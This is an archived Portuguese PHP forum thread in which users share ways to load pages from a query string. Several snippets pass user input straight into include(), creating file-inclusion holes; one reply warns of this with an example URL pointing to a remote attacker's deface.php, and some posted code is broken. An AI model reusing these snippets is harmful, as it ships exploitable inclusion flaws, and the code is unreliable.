Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

covered

Query String

Recommended Posts

Na página index.php voce deve botar o seguinte codigo:

<?phpif ($page=="principal") {include "index.html";} elseif ($page=="downloads") {include "downloads.html";} elseif ($page=="contato") {include "contato.html";} elseif (!$page) {echo "Você deve escolher uma seção";}?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Outra opcao:index.php?areaswitch($_SERVER['QUERY_STRING']){default:pagina principalbreak;case "downloads":include "downloads.php";break;}e assim por diante.. é so por mais casos possivei e beleza :D ai n tem esse =, que n ha necessidade nesse caso... a n ser que você qra mostra pros outro q a sua URL é maior q a deles e dizer q sabe mais ;DDD zuera -_- :lol:

Compartilhar este post


Link para o post
Compartilhar em outros sites

Query String Funcional. Dinamico e Simples

 

Existem modos bem mais faceis de fazer algo assim não???? ^_^ ^_^

 

Custava vcs tentarem fazer algo mais funcional e simples galera?? ;) ;)

 

Bem...... Seus Probremas Terminan-se

 

Por que chegou o anatôminico, poderosico e simplisico Query String Seu Creisson.... Brincadeiras

 

Mas tah ai um query string que eu uso bem simplisinho:

 

index.php

<?php if(empty($page)) { include("padrao.ext"); } else { include("$page.ext"); } ?></font>
é bem simples e facil, em padrao.ext você vai colocar no lugar o arquivo que ira ser o padrão da query string por exemplo news.htm (a extensão pode variar) e a onde estah $page.ext a estensão das paginas a abrir pelo query string, você pode colocar page.htm

 

Ae o formato dos links, como q faiz????

 

Basta você colocar os links da seguinte forma:

<A href="?page=downloads">Downloads</a>
que altomaticamente ele procurará o arquivo downloads.ext (ext=extensão) e coloca no lugar do padrão.ext

 

 

Bem mais facil naum???? :blink: :blink: B)

Compartilhar este post


Link para o post
Compartilhar em outros sites

Prefiro assim fica mais pratico//defina as pagina aqui$pagina[0] = 'index.php';$pagina[1] = 'contato.php';$pagina[2] = 'empresa.php';//Mais pagina continue acrescentando numeros e paginasif (!empty($_SERVER['QUERY_STRING']))include "index.php";elseinclude $pagina[$_GET[id]);#---------nos links voce coloca cada numero referente a uma pagina<a href=?id=0>index </a><a href=?id=1>Contato</a><a href=?id=2>Empresa</a>e assim vai

Compartilhar este post


Link para o post
Compartilhar em outros sites

Akiracovers, esse tipo de inclusão de arquivo não é aconselhável pois a pessoa pode incluir arquivos de outro servidor, caso seu servidor esteja com esse tipo de permissão ativo.Bastaria a pessoa colocar suapagina.php?page=http://www.sacana_bla_bla_bla.com.br/deface.phpNa página deface.php ele pode colocar algo que escreva pixações na sua página inicial ou pegar informações do banco de dados.Só pra não passar o post em "branco" vou dar uma melhorada no seu código, usando o ternário, olha:

<?$id = $_GET['page'];if (empty(!$id)) { include (!file_exists($id.'.php')) ? "erro.php" : "$id.php"; }?>

Bom, desse jeito que coloquei acima ele antes de tentar incluir o arquivo vai verificar se ele existe no servidor, caso não exista incluirá o arquivo erro.phpÉ isso.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Bom eu fazia diferente mas curti o modo do scooby ali em cimabe mclean e organizado o codigonão que o do cristiano não esteja correto mas para ini eu prefiro o do scooby :P valew

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá pessoas

Eu tenho mais uma idéia

index.php

 

  $lay=new LayoutPadrao();   switch($_SERVER['QUERY_STRING'])   {      case "fotos": print($lay->layoutFotos());                         break;      case "eventos": print($lay->layoutEventos());                         break;      default: print($lay->layoutIndex());                         break;    }

agora a classe LauoutPadrao no arquivo layoutpadrao.php

 

  class LayoutPadrao   {      function layoutFotos()      {             $html"a pagina de fotos aqui";              return $html;      }      function layoutEventos()      {             $html"a pagina de eventos aqui";              return $html;      }      function layoutIndex()      {             $html"a pagina de index aqui";              return $html;      }   }

Os link seguem a metodologia abaixo

     <a href=index.php?o nome do arquivo>Arquivo</a>      ex      <a href=index.php?fotos>Fotos</a>

Falow :P

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.